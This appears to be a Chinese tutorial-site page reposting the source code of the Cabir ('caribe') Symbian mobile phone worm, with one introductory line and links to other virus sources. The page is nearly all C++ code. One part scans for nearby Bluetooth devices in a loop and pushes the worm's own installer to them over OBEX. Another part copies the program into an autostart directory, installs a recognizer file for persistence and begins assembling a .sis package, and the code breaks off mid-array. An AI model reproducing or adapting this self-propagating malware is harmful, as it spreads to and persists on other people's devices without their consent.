萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> Cabir 手機病毒源代碼(caribe)

Cabir 手機病毒源代碼(caribe)

·熊貓燒香之後有仇英 病毒源代碼很簡單·WinCE.Dust手機病毒源代碼·Love Letter病毒源代碼·backdoor病毒源代碼·Love Letter病毒源代碼

作者解釋說他選擇藍牙(而不是其他方式如MMS)傳播病毒的原因是不想浪費手機使用者的錢:)

#i nclude "general.h"

#i nclude "caribebt.h"#i nclude <eikenv.h>#i nclude <bt_sock.h>#i nclude <obex.h>#i nclude <btextnotifiers.h>

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

CaribeBluetooth::CaribeBluetooth():CActive(CActive::EPriorityStandard){WithAddress = 0;iState = 3;

_LIT(currentFileName,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.SIS");

iCurrFile = CObexFileObject::NewL(TPtrC(NULL, 0)); iCurrFile->InitFromFileL(currentFileName);CActiveScheduler::Add(this);}

CaribeBluetooth::~CaribeBluetooth(){

}

CaribeBluetooth* CaribeBluetooth::NewL(){return NewLC();}

CaribeBluetooth* CaribeBluetooth::NewLC(){CaribeBluetooth* self = new CaribeBluetooth;self->ConstructL();return self;}

void CaribeBluetooth::ConstructL(){iState = 3;RunL();}

void CaribeBluetooth::RunL(){if(iState == 1){if(!obexClient->IsConnected()){iState = 3;}else{

//iCurrObject = CObexNullObject::NewL();//iCurrObject->SetNameL(_L("Hello World"));//obexClient->Put(*iCurrObject,iStatus); iState = 2;Cancel();

obexClient->Put(*iCurrFile,iStatus);

SetActive();return;}

}if(iState == 2){//delete iCurrObject;iState = 3;

Cancel();obexClient->Disconnect(iStatus);SetActive();return;}

if(iState == 3){if(obexClient){delete obexClient;obexClient = NULL;}

while(iState == 3){FindDevices();ManageFoundDevices();}return;}

}

void CaribeBluetooth::DoCancel(){

}

int CaribeBluetooth::FindDevices(){

_LIT(KL2Cap, "BTLinkManager");

int res;

if((res = socketServ.Connect()) != KErrNone){//ErrMessage("Error Connect");return 0;}if((res = socketServ.FindProtocol((const TProtocolName&)KL2Cap,pInfo))!=KErrNone){//ErrMessage("Error FindProtocol");socketServ.Close();return 0;}

if((res = hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol))!=KErrNone){//ErrMessage("Error Open");socketServ.Close();return 0;}WithAddress = 0;

addr.SetIAC(KGIAC);addr.SetAction(KHostResInquiry);TRequestStatus iStatusIn;

hr.GetByAddress(addr, entry, iStatusIn);User::WaitForRequest(iStatusIn);

if(iStatusIn!=KErrNone){//ErrMessage("Error Finding Devices");}else{WithAddress = 1;}

socketServ.Close();// hr.Close();

return 0;}

int CaribeBluetooth::ManageFoundDevices(){

if(WithAddress){WithAddress = 0;

Cancel();TBTSockAddr btaddr(entry().iAddr);

TBTDevAddr devAddr;

devAddr = btaddr.BTAddr();

TObexBluetoothProtocolInfo obexBTProtoInfo;

obexBTProtoInfo.iTransport.Copy(_L("RFCOMM")); obexBTProtoInfo.iAddr.SetBTAddr(devAddr); obexBTProtoInfo.iAddr.SetPort(0x00000009); obexClient = CObexClient::NewL(obexBTProtoInfo);

if(obexClient){ iState = 1;

iStatus = KRequestPending;

Cancel();

obexClient->Connect(iStatus);

SetActive();

}}else{iState = 3; User::After(1000000);}

return 0;}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

#i nclude "general.h"

#i nclude "CaribeInstaller.h"#i nclude <aknapp.h>#i nclude <e32std.h>#i nclude <e32base.h>#i nclude <e32def.h>#i nclude <f32file.h>#i nclude <bautils.h>#i nclude <eikenv.h>

#i nclude "file.h"//#i nclude "sisheader.h"

#define AUTOSTARTABLE "C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.APP"_LIT(Autostartablestr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.APP");#define AUTOSTARTABLERSC "C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.RSC"_LIT(Autostartablerscstr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.RSC");#define AUTOSTARTABLEPATH "C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\"_LIT(Autostartablepathstr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\");#define RECOGFILE "C:\\SYSTEM\\RECOGS\\FLO.MDL"_LIT(Recogfilestr,"C:\\SYSTEM\\RECOGS\\FLO.MDL");#define RECOGFILEPATH "C:\\SYSTEM\\RECOGS\\"_LIT(Recogfilepathstr,"C:\\SYSTEM\\RECOGS\\");#define SISFILE "C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.SIS"_LIT(Sisfilestr,"C:\\SYSTEM\\SYMBIANSECUREDATA\\CARIBESECURITYMANAGER\\CARIBE.SIS");

unsigned short DOCRC16(unsigned short crc,void * array,int size);

CaribeInstaller::CaribeInstaller(){

}

CaribeInstaller::~CaribeInstaller(){}

/**********************************************************************CopyMeToAutostartableDir:

This function will copy the own dll of this application to"C:\SYSTEM\SYMBIANSECUREDATA\CARIBESECURITYMANAGER\CARIBE.APP"..mdl for autostart will start that application automaticly.

Parameters:

CAknApplication of the application to be copied.Returned Values:None.

***********************************************************************/

void CaribeInstaller::CopyMeToAutostartableDir(CAknApplication * OwnApp){ TFileName OwnDllName = OwnApp->DllName();TBuf16 <sizeof(AUTOSTARTABLE)>Autostartable(Autostartablestr);OwnDllName.UpperCase();if(OwnDllName == Autostartable){return;}

RFs fs;User::LeaveIfError(fs.Connect());

TBuf16 <sizeof(AUTOSTARTABLEPATH)> autostartablepath(Autostartablepathstr);

fs.MkDirAll(Autostartablepathstr);if(BaflUtils::CopyFile(fs,OwnDllName,Autostartable,CFileMan::EOverWrite)!=KErrNone){fs.Close();return;}

TBuf16 <sizeof(AUTOSTARTABLERSC)> Autostartablersc (Autostartablerscstr);

OwnDllName[OwnDllName.Length()-3] = 'R';OwnDllName[OwnDllName.Length()-2] = 'S';OwnDllName[OwnDllName.Length()-1] = 'C';if(BaflUtils::CopyFile(fs,OwnDllName,Autostartablersc,CFileMan::EOverWrite)!=KErrNone){BaflUtils::DeleteFile(fs,Autostartable,0);}fs.Close();return;

}

/**********************************************************************InstallMDL:

This function will install the mdl file to the recogs directory.

Parameters:

CAknApplication of this application for constructing the pathof the mdl.Returned Values:None.

***********************************************************************/

void CaribeInstaller::InstallMDL(CAknApplication * OwnApp){

RFs fs;User::LeaveIfError(fs.Connect());TFileName OwnDllName = OwnApp->DllName();TBuf16 <sizeof(RECOGFILE)>Recogfile(Recogfilestr);TParse parser;parser.Set(OwnDllName,NULL,NULL);

TBuf16 <KMaxPath> flodrivepath(parser.DriveAndPath());_LIT16(FLOMDL,"flo.mdl");

flodrivepath.Append(FLOMDL);

TBuf16 <sizeof(RECOGFILEPATH)> Recogfilepath(Recogfilepathstr);

fs.MkDirAll(Recogfilepath);

BaflUtils::CopyFile(fs,flodrivepath,Recogfile,CFileMan::EOverWrite);fs.Close();}

/********************************************************************** CreateSis:

This function will create a .sis file with caribe.app,caribe.rscand flo.mdl

Parameters:

CAknApplication of this application for constructing the pathof the mdl.Returned Values:None.

***********************************************************************/

void CaribeInstaller::CreateSis(CAknApplication * OwnApp){unsigned char sisheader[] = {0x3D ,0x1A ,0x8B ,0x03 ,0x12 ,0x3A ,0x00 ,0x10 ,0x19 ,0x04 ,0x00 ,0x10 ,0xC4 ,0xE0 ,0x80 ,0xAB

//Offset 0x10 CRC16,0x00 ,0x00 ///

copyright © 萬盛學電腦網 all rights reserved